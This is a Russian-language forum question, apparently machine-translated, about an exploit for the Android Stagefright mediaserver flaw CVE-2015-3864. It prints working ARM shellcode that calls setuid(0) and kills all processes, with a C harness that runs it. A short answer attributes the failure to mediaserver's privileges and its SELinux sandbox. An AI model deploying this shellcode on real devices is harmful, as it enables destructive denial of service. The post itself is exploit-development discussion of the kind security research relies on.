Запустить шелл-код в контексте медиа-сервера в Android

Я пишу эксплойт для уязвимости в медиасервере в Android(CVE-2015-3864). Целью является запуск шелл-кода с привилегиями root (например, уничтожение всех процессов). каждый шаг эксплойта работает должным образом, пока не достигнет кода оболочки (в это время шеллкод загружается в виртуальную память медиасервера и ему предоставляется разрешение rwx). Код оболочки выглядит следующим образом:

 1) e28f3001    add r3, pc, #1   ; 0x1
 2) e12fff13    bx  r3
 3) 1b24        subs    r4, r4, r4
 4) 1c20        adds    r0, r4, #0
 5) 2717        movs    r7, #23
 6) df01        svc 1
 7) 1a92        subs    r2, r2, r2
 8) 1c10        adds    r0, r2, #0
 9) 3801        subs    r0, #1
 10) 2109        movs    r1, #9
 11) 2725        movs    r7, #37
 12) df01        svc 1 

линии 1 и 2 - это переключение между режимом охраны и режимом большого пальца. в строках с 3 по 6 указывается setuid(0), а в строках с 7 по 12 уничтожаются все запущенные процессы.
Я отладил эксплойт с IDA и обнаружил, что шеллскрипт выполняется до строки 12 (все регистры имеют ожидаемые значения, которые определены в шеллкоде, например, r7 - 37).
МОЯ ОСОБЕННАЯ ПРОБЛЕМА: шеллкод не выполняется и не влияет на мое устройство.
для теста я пишу программу и запускаю шеллкод в виде указателя на функцию, как показано ниже:

    `char *SC = "\x01\x30\x8f\xe2"
               "\x13\xff\x2f\xe1"
               "\x24\x1b\x20\x1c"
               "\x17\x27\x01\xdf"
               "\x92\x1a\x10\x1c"
               "\x01\x38\x09\x21"
               "\x25\x27\x01\xdf"`

    `

        int main(void)
        {
                fprintf(stdout,"Length: %d\n",strlen(SC))
                (*(void(*)()) SC)()
         return 0

}`

я скопировал этот двоичный файл в / sy stem / bin и предоставил точно такое же разрешение, как и у mediaserver. я запускаю бинарный файл с разрешением su и он работает! все процессы были убиты.
МОЙ СПЕЦИАЛЬНЫЙ ВОПРОС: Почему шеллкод не может быть выполнен в контексте медиасервера, но он может быть выполнен независимо?
Пожалуйста, помогите, я действительно застрял в этом состоянии! Если вопрос неясен, напишите мне, чтобы объяснить это больше.
заранее спасибо

1 ответ

Я думаю, что вам нужно повысить привилегию медиа-сервера (пользовательского носителя) для уничтожения всего процесса (тогда вам нужна еще одна уязвимость). Существует еще одна проблема, связанная с ограничениями в изолированной программной среде SELinux. Это означает, что процесс медиасервера при использовании libstagefright защищен политикой SELinux, а выполнение кода происходит в ограничительной изолированной программной среде. Другими словами, вы должны найти способ обхода SELinux, в презентации nccgroup вы можете найти более подробную информацию.

Смотрите также эту хорошую статью

Другие вопросы по тегам